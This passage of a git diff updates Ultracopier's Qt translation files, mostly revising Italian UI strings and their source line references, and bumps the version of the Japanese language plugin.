+ <translation>Quando le cartelle di origine o di destinazione coincidono</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="200"/>
+ <location filename="../../../OptionDialog.cpp" line="370"/>
<source>Always</source>
<translation>Sempre</translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="792"/>
- <source>Save logs as: </source>
- <translation>Salvare i log come: </translation>
+ <location filename="../../../OptionDialog.cpp" line="384"/>
+ <location filename="../../../OptionDialog.cpp" line="385"/>
+ <location filename="../../../OptionDialog.cpp" line="386"/>
+ <source>The variables are %1</source>
+ <translation>Le variabili sono %1</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>Allow the application</source>
+ <translation>Consentire l&apos;applicazione</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>This Ultimate free version is only if %1 is allowed by your antivirus. Else you can get the normal free version</source>
+ <translation>Questa versione Ultimate è gratuita solo se %1 è consentita dal tuo antivirus. Altrimenti si può ottenere la versione normale gratuita</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>Enable the OpenCL</source>
+ <translation>Abilita le OpenCL</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="667"/>
- <source>This write directly the file when it receive the new entry, but it can produce 50% of lost of performance</source>
- <translation>Questo scrive direttamente il file quando riceve un&apos; altra entrata, ma questo produce un calo del 50% della velocità</translation>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>This Ultimate version is only if the OpenCL is installed with your graphic card drivers. Else you can get the normal free version</source>
+ <translation>Questa versione Ultimate è solo per chi ha installato OpenCL con i driver della scheda grafica. Diversamente puoi ottenere la versione gratuita</translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="1591"/>
+ <source>Save logs as: </source>
+ <translation>Salvare i log come: </translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="670"/>
+ <location filename="../../../OptionDialog.ui" line="731"/>
<source>Synchronized log</source>
<translation>Log sincronizzato</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="169"/>
<source>When manual open:</source>
- <translation>Quando manuale aperto:</translation>
+ <translation type="obsolete">Se avviato manualmente:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="229"/>
<source>Group the windows when:</source>
- <translation>Gruppo finestre quando:</translation>
+ <translation type="obsolete">Raggruppa le finestre quando:</translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="750"/>
- <location filename="../../../OptionDialog.ui" line="763"/>
+ <location filename="../../../OptionDialog.ui" line="811"/>
<source>The variables are %path%, %operation%</source>
- <extracomment>%path%, %operation% should not be translated
-----------
-%path%, %operation% should not be translated</extracomment>
+ <extracomment>%path%, %operation% should not be translated</extracomment>
+ <translatorcomment>%path% e %operation%, non dovranno essere tradotti</translatorcomment>
<translation>Le variabili sono %path%, %operation%</translation>
</message>
</context>
<context>
<name>OptionEngine</name>
<message>
- <location filename="../../../OptionEngine.cpp" line="154"/>
- <location filename="../../../OptionEngine.cpp" line="158"/>
- <location filename="../../../OptionEngine.cpp" line="195"/>
- <location filename="../../../OptionEngine.cpp" line="199"/>
- <source>Try get variable, but the variable is not found: %1 %2</source>
- <translation>Provare a ottenere variabile, ma la variabile non si trova: %1 %2</translation>
+ <location filename="../../../OptionEngine.cpp" line="161"/>
+ <location filename="../../../OptionEngine.cpp" line="165"/>
+ <location filename="../../../OptionEngine.cpp" line="202"/>
+ <location filename="../../../OptionEngine.cpp" line="206"/>
+ <source>The variable was not found: %1 %2</source>
+ <translation>Variabile non trovata: %1 %2</translation>
</message>
</context>
<context>
@@ -791,7 +1107,7 @@ Questa versione è compilato come versione: %1.</translation>
<message>
<location filename="../../../PluginInformation.ui" line="14"/>
<source>About this plugin</source>
- <translation>Informazioni su questo plugin</translation>
+ <translation>Informazioni su questo plug-in</translation>
</message>
<message>
<location filename="../../../PluginInformation.ui" line="23"/>
@@ -824,37 +1140,42 @@ Questa versione è compilato come versione: %1.</translation>
<translation>Versione:</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="40"/>
- <source>CopyEngine</source>
- <translation>Copiare il programma</translation>
+ <location filename="../../../PluginInformation.cpp" line="38"/>
+ <source>Copy engine</source>
+ <translation>Motore per la copia</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="43"/>
+ <location filename="../../../PluginInformation.cpp" line="41"/>
<source>Languages</source>
- <translation>Linguaggio</translation>
+ <translation>Lingue</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="46"/>
+ <location filename="../../../PluginInformation.cpp" line="44"/>
<source>Listener</source>
- <translation>Ascoltatore</translation>
+ <translation>Rilevatore</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="49"/>
- <source>PluginLoader</source>
- <translation>Caricatore di plugin</translation>
+ <location filename="../../../PluginInformation.cpp" line="47"/>
+ <source>Plugin loader</source>
+ <translation>Caricatore di plug-in</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="52"/>
- <source>SessionLoader</source>
- <translation>Caricatore di sessioni</translation>
+ <location filename="../../../PluginInformation.cpp" line="50"/>
+ <source>Session loader</source>
+ <translation>Caricatore di sessione</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="55"/>
+ <location filename="../../../PluginInformation.cpp" line="53"/>
<source>Themes</source>
<translation>Temi</translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="69"/>
+ <location filename="../../../PluginInformation.cpp" line="57"/>
+ <source>Unknown</source>
+ <translation>Sconosciuto</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="67"/>
<source>Information about %1</source>
<translation>Informazioni su %1</translation>
</message>
@@ -872,190 +1193,198 @@ Questa versione è compilato come versione: %1.</translation>
<context>
<name>PluginsManager</name>
<message>
- <location filename="../../../PluginsManager.cpp" line="208"/>
+ <location filename="../../../PluginsManager.cpp" line="221"/>
<source>informations.xml is not accessible</source>
<translation>informations.xml non è accessibile</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="214"/>
<source>informations.xml not found into the plugin</source>
- <translation>informations.xml non trovato nel plug-in</translation>
+ <translation type="obsolete">informations.xml non trovato nel plug-in</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="474"/>
+ <location filename="../../../PluginsManager.cpp" line="487"/>
<source>Dependencies part is wrong</source>
- <translation>Parte Dipendenze è sbagliato</translation>
+ <translation>Alcune dipendenze non sono idonee</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="493"/>
+ <location filename="../../../PluginsManager.cpp" line="508"/>
<source>Dependencies %1 are not satisfied, for plugin: %2</source>
- <translation>Dipendenze %1 non sono soddisfatti, per il plugin: %2</translation>
+ <translation>Le dipendenze %1 per il plug-in: %2, non sono soddisfatte</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Remove %1</source>
- <translation>Rimuovi %1</translation>
+ <translation>Elimina %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error</source>
<translation>Errore</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Information</source>
<translation>Informazioni</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="242"/>
+ <location filename="../../../PluginsManager.cpp" line="253"/>
<source>%1, parse error at line %2, column %3: %4</source>
<translation>%1, errore di analisi alla riga %2, colonna %3: %4</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="250"/>
+ <location filename="../../../PluginsManager.cpp" line="227"/>
+ <source>informations.xml not found for the plugin</source>
+ <translation>informations.xml non trovato per il plug-in</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="261"/>
<source>&quot;package&quot; root tag not found for the xml file</source>
- <translation>&quot;package&quot; tag root non trovato per il file xml</translation>
+ <translation>Tag root &quot;package&quot; non trovato nel file xml</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="326"/>
+ <location filename="../../../PluginsManager.cpp" line="337"/>
<source>Duplicated plugin found, already loaded!</source>
- <translation>Plug-in duplicato trovato, già caricato!</translation>
+ <translation>Trovato plug-in duplicato, già caricato!</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="384"/>
<source>English text missing into the informations.xml for the tag: %1</source>
- <translation>Testo inglese manca nel informations.xml per il tag: %1</translation>
+ <translation type="obsolete">Testo in inglese mancante in informations.xml per il tag: %1</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="395"/>
+ <source>English text missing in the informations.xml for the tag: %1</source>
+ <translation>Testo in inglese mancante in informations.xml per il tag: %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="392"/>
+ <location filename="../../../PluginsManager.cpp" line="403"/>
<source>Tag not found: %1</source>
<translation>Tag non trovato: %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Are you sure about removing &quot;%1&quot; in version %2?</source>
- <translation>Sei sicuro di rimozione &quot;%1&quot; nella versione %2?</translation>
+ <translation>Si desidera eliminare &quot;%1&quot; nella versione %2?</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error while the removing plugin, please check the rights on the folder:
%1</source>
- <translation>Errore durante il plugin di rimuovere, controllare i diritti per la cartella:
+ <translation>Errore durante l&apos;eliminazione del plug-in, controllare le autorizzazioni per la cartella:
%1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Previous import is in progress...</source>
- <translation>Importazione precedente è in corso ...</translation>
+ <translation>Importazione precedente in corso ...</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Open Ultracopier plugin</source>
- <translation>Aperto Ultracopier plugin</translation>
+ <translation>Apri plug-in di Ultracopier</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Ultracopier plugin (*.urc)</source>
- <translation>Ultracopier plugin (*.urc)</translation>
- </message>
- <message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="775"/>
- <location filename="../../../PluginsManager.cpp" line="788"/>
- <location filename="../../../PluginsManager.cpp" line="806"/>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <translation>Plug-in di Ultracopier (*.urc)</translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Plugin loader</source>
- <translation>Plugin caricato</translation>
+ <translation>Caricatore di plug-in</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
<source>Unable to open the plugin: %1</source>
- <translation>Attivare per aprire il puglin: %1</translation>
+ <translation>Impossibile aprire il plug-in: %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Unable to load the plugin content, please check it: %1</source>
- <translation>Impossibile caricare il contenuto plugin, si prega di controllare: %1</translation>
+ <translation>Impossibile caricare il contenuto del plug-in, si prega di controllare: %1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="775"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
<source>Unable to create a folder to install the plugin:
%1</source>
- <translation>Impossibile creare una cartella per installare il plugin:
+ <translation>Impossibile creare una cartella per installare il plug-in:
%1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="788"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
<source>Unable to create a file to install the plugin:
%1
since:%2</source>
- <translation>Impossibile creare un file per installare il plugin:
+ <translation>Impossibile creare un file per installare il plug-in:
%1
-dal: %2</translation>
+da: %2</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="806"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
<source>Folder with same name is present, skip the plugin installation:
%1</source>
- <translation>Cartella con lo stesso nome è presente, saltare l&apos;installazione del plugin:
+ <translation>E&apos; presente una cartella con lo stesso nome, non sarà installato il plug-in:
%1</translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
<source>Unable to load the plugin content, please check it</source>
- <translation>Impossibile caricare il contenuto plugin, si prega di controllare</translation>
+ <translation>Impossibile caricare il contenuto del plug-in, si prega di controllare</translation>
</message>
</context>
<context>
<name>QXzDecode</name>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="40"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="95"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="38"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="93"/>
<source>Memory allocation failed</source>
<translation>Allocazione di memoria fallita</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="66"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="84"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="64"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="82"/>
<source>Write error</source>
<translation>Errore di scrittura</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="99"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="97"/>
<source>Memory usage limit reached</source>
<translation>Limite di memoria raggiunto</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="103"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="101"/>
<source>Not a .xz file</source>
<translation>Non è un file .xz</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="107"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="105"/>
<source>Unsupported options in the .xz headers</source>
- <translation>Opzioni non sopportate nel .xz headers</translation>
+ <translation>Opzioni non supportate nelle intestazioni .xz</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="112"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="110"/>
<source>The file is corrupted</source>
<translation>Il file è corrotto</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="116"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="114"/>
<source>Bug!</source>
<translation>Bug!</translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="126"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="124"/>
<source>The input data is too short</source>
<translation>I dati inseriti sono troppo pochi</translation>
</message>
@@ -1063,87 +1392,131 @@ dal: %2</translation>
<context>
<name>SystrayIcon</name>
<message>
- <location filename="../../../SystrayIcon.cpp" line="110"/>
+ <location filename="../../../SystrayIcon.cpp" line="163"/>
<source>No copy listener found. Do the copy manually by right click one the system tray icon.</source>
- <translation>Nessun listener copia trovata. Do la copia manualmente facendo clic destro uno nella barra delle applicazioni.</translation>
+ <translation>Nessuna copia del rilevatore trovata. Fare una copia manualmente cliccando col tasto destro del mouse sull&apos;icona nella barra di sistema.</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="116"/>
+ <location filename="../../../SystrayIcon.cpp" line="169"/>
<source>Information</source>
<translation>Informazioni</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="127"/>
- <source>Searching informations...</source>
- <translation>Cercare informazioni...</translation>
+ <location filename="../../../SystrayIcon.cpp" line="187"/>
+ <source>Searching information...</source>
+ <translation>Ricerca informazioni...</translation>
+ </message>
+ <message>
+ <source>Not replace the explorer copy/move</source>
+ <translation type="obsolete">Non ripristinare la copia/spostamento di Windows explorer</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="140"/>
- <source>Not catching the explorer copy/move</source>
- <translation>Non mostrare il copia/muovi</translation>
+ <location filename="../../../SystrayIcon.cpp" line="200"/>
+ <source>Do not replace the explorer copy/move</source>
+ <translation>Non ripristinare la copia/spostamento di Windows explorer</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="145"/>
- <source>Semi catching the explorer copy/move</source>
- <translation>Mostra in parte il copia/muovi</translation>
+ <location filename="../../../SystrayIcon.cpp" line="205"/>
+ <source>Semi replace the explorer copy/move</source>
+ <translation>Ripristinare parzialmente la copia/spostamento di Windows explorer</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="150"/>
- <source>Catching the explorer copy/move</source>
- <translation>Mostra il copia/muovi</translation>
+ <location filename="../../../SystrayIcon.cpp" line="210"/>
+ <source>Replace the explorer copy/move</source>
+ <translation>Ripristina la copia/spostamento di Windows explorer</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
<source>Warning</source>
- <translation>Avvertimento</translation>
+ <translation>Avviso</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
- <source>Action on the systray icon is unknown!</source>
- <translation>Azione sull&apos;icona del systray è sconosciuta!</translation>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
+ <source>The action on the systray icon is unknown!</source>
+ <translation>Azione non idonea nell&apos;area di notifica!</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="356"/>
+ <location filename="../../../SystrayIcon.cpp" line="425"/>
<source>&amp;About/Debug report</source>
- <translation>Circa/Debug rapporto</translation>
+ <translation>&amp;Informazioni/Rapporto di Debug</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="358"/>
+ <location filename="../../../SystrayIcon.cpp" line="427"/>
<source>&amp;About</source>
- <translation>Circa</translation>
+ <translation>&amp;Informazioni</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="430"/>
+ <source>&amp;Save bug report</source>
+ <translation>&amp;Salva il bug</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="360"/>
+ <location filename="../../../SystrayIcon.cpp" line="432"/>
<source>&amp;Quit</source>
- <translation>Smettere</translation>
+ <translation>&amp;Esci</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="361"/>
+ <location filename="../../../SystrayIcon.cpp" line="433"/>
<source>&amp;Options</source>
- <translation>Opzioni</translation>
+ <translation>&amp;Opzioni</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="362"/>
+ <location filename="../../../SystrayIcon.cpp" line="485"/>
<source>A&amp;dd copy/moving</source>
- <translation>Aggiungi copia/spostamento</translation>
+ <translation>&amp;Aggiungi copia/spostamento</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>New version: %1</source>
+ <translation>Nuova versione: %1</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>Click here to go on download page</source>
+ <translation>Clicca qui per accedere alla pagina di download</translation>
+ </message>
+ <message>
+ <source>Click here to go to the shop and login.
+Download the new version into the order details.
+The new version have been sended by email too, look into your spams if needed.</source>
+ <translation type="obsolete">Clicca qui per andare al negozio ed effettuare il login.
+Scarica la nuova versione nei dettagli dell&apos;ordine.
+La nuova versione è stata inviata anche via e-mail, controlla negli spam se necessario.</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="511"/>
+ <source>&amp;Copy</source>
+ <translation>&amp;Copia</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="525"/>
+ <location filename="../../../SystrayIcon.cpp" line="539"/>
+ <source>&amp;Transfer</source>
+ <translation>&amp;Trasferisci</translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="529"/>
+ <location filename="../../../SystrayIcon.cpp" line="543"/>
+ <source>&amp;Move</source>
+ <translation>&amp;Sposta</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="407"/>
- <location filename="../../../SystrayIcon.cpp" line="429"/>
+ <location filename="../../../SystrayIcon.cpp" line="560"/>
+ <location filename="../../../SystrayIcon.cpp" line="577"/>
<source>Add &amp;copy</source>
- <translation>Aggiungi copia</translation>
+ <translation>Aggiungi &amp;copia</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="413"/>
- <location filename="../../../SystrayIcon.cpp" line="435"/>
+ <location filename="../../../SystrayIcon.cpp" line="566"/>
+ <location filename="../../../SystrayIcon.cpp" line="583"/>
<source>Add &amp;transfer</source>
- <translation>Aggiungi il trasferimento</translation>
+ <translation>Aggiungi &amp;trasferimento</translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="417"/>
- <location filename="../../../SystrayIcon.cpp" line="439"/>
+ <location filename="../../../SystrayIcon.cpp" line="570"/>
+ <location filename="../../../SystrayIcon.cpp" line="587"/>
<source>Add &amp;move</source>
- <translation>Aggiungi spostare</translation>
+ <translation>Aggiungi &amp;spostamento</translation>
</message>
</context>
</TS>
diff --git a/plugins/Languages/ja/flag.png b/plugins/Languages/ja/flag.png
index 0cd1398..5ac331e 100644
--- a/plugins/Languages/ja/flag.png
+++ b/plugins/Languages/ja/flag.png
Binary files differ
diff --git a/plugins/Languages/ja/informations.xml b/plugins/Languages/ja/informations.xml
index 0bd57b8..555a952 100644
--- a/plugins/Languages/ja/informations.xml
+++ b/plugins/Languages/ja/informations.xml
@@ -10,14 +10,13 @@
<!-- the date-time format should be in timestamps format -->
<pubDate>1287496800</pubDate>
<!-- Detailed description -->
- <description xml:lang="en"><![CDATA[Translation of Ultracopier to japanese. Done for version 0.3.0.0. For more details see the web site.]]></description>
+ <description xml:lang="en"><![CDATA[Translation of Ultracopier to japanese. For more details see the web site.]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.0.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>jp</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- <=ultracopier-0.3
]]></dependencies>
<!-- Additional information that is specific to the category (in this case Language). -->
<categorySpecific>
diff --git a/plugins/Languages/ja/translation.ts b/plugins/Languages/ja/translation.ts
index 4d63b67..8a6d55f 100644
--- a/plugins/Languages/ja/translation.ts
+++ b/plugins/Languages/ja/translation.ts
@@ -4,77 +4,83 @@
<context>
<name>CliParser</name>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
- <location filename="../../../CliParser.cpp" line="63"/>
- <location filename="../../../CliParser.cpp" line="73"/>
- <location filename="../../../CliParser.cpp" line="83"/>
- <location filename="../../../CliParser.cpp" line="166"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <location filename="../../../CliParser.cpp" line="179"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
<source>Ultracopier is already running, right click on its system tray icon (near the clock) to use it</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="63"/>
- <source>Problem at the reading, or file size is null</source>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <source>Problem reading file, or file size is 0</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="73"/>
- <source>This file is not supported transfer list</source>
+ <location filename="../../../CliParser.cpp" line="159"/>
+ <location filename="../../../CliParser.cpp" line="170"/>
+ <source>The arguments possible are:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="83"/>
- <source>Unable to open the transfer list file</source>
+ <location filename="../../../CliParser.cpp" line="161"/>
+ <location filename="../../../CliParser.cpp" line="172"/>
+ <source>To display the options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="148"/>
- <location filename="../../../CliParser.cpp" line="158"/>
- <source>The arguments possibles are:</source>
+ <location filename="../../../CliParser.cpp" line="162"/>
+ <location filename="../../../CliParser.cpp" line="173"/>
+ <source>To quit the other instances (if running)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="149"/>
- <location filename="../../../CliParser.cpp" line="159"/>
- <source>To have this help</source>
+ <location filename="../../../CliParser.cpp" line="164"/>
+ <location filename="../../../CliParser.cpp" line="175"/>
+ <source>To copy sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="150"/>
- <location filename="../../../CliParser.cpp" line="160"/>
- <source>To quit the other instance running (if have)</source>
+ <location filename="../../../CliParser.cpp" line="165"/>
+ <location filename="../../../CliParser.cpp" line="176"/>
+ <source>To move sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="151"/>
- <location filename="../../../CliParser.cpp" line="161"/>
- <source>To pass transfer list to do</source>
+ <location filename="../../../CliParser.cpp" line="169"/>
+ <source>Command not valid</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="152"/>
- <location filename="../../../CliParser.cpp" line="162"/>
- <source>To copy sources separated by space to destination. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <source>This file is not supported transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="153"/>
- <location filename="../../../CliParser.cpp" line="163"/>
- <source>Same as above, but with move</source>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <source>Unable to open the transfer list file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="157"/>
- <source>Command line not understand</source>
+ <location filename="../../../CliParser.cpp" line="160"/>
+ <location filename="../../../CliParser.cpp" line="171"/>
+ <source>To display this help</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="168"/>
+ <location filename="../../../CliParser.cpp" line="163"/>
+ <location filename="../../../CliParser.cpp" line="174"/>
+ <source>Open transfer list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="181"/>
<source>Help</source>
<translation type="unfinished"></translation>
</message>
@@ -82,410 +88,493 @@
<context>
<name>CopyEngineManager</name>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <source>Cannot find any copy engine with motions support</source>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <source>Cannot find any copy engine with move support</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <source>Cannot find any compatible engine!</source>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <source>This copy engine does not support move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <source>This copy engine does not support motions</source>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <source>Cannot find any compatible engine!</source>
<translation type="unfinished"></translation>
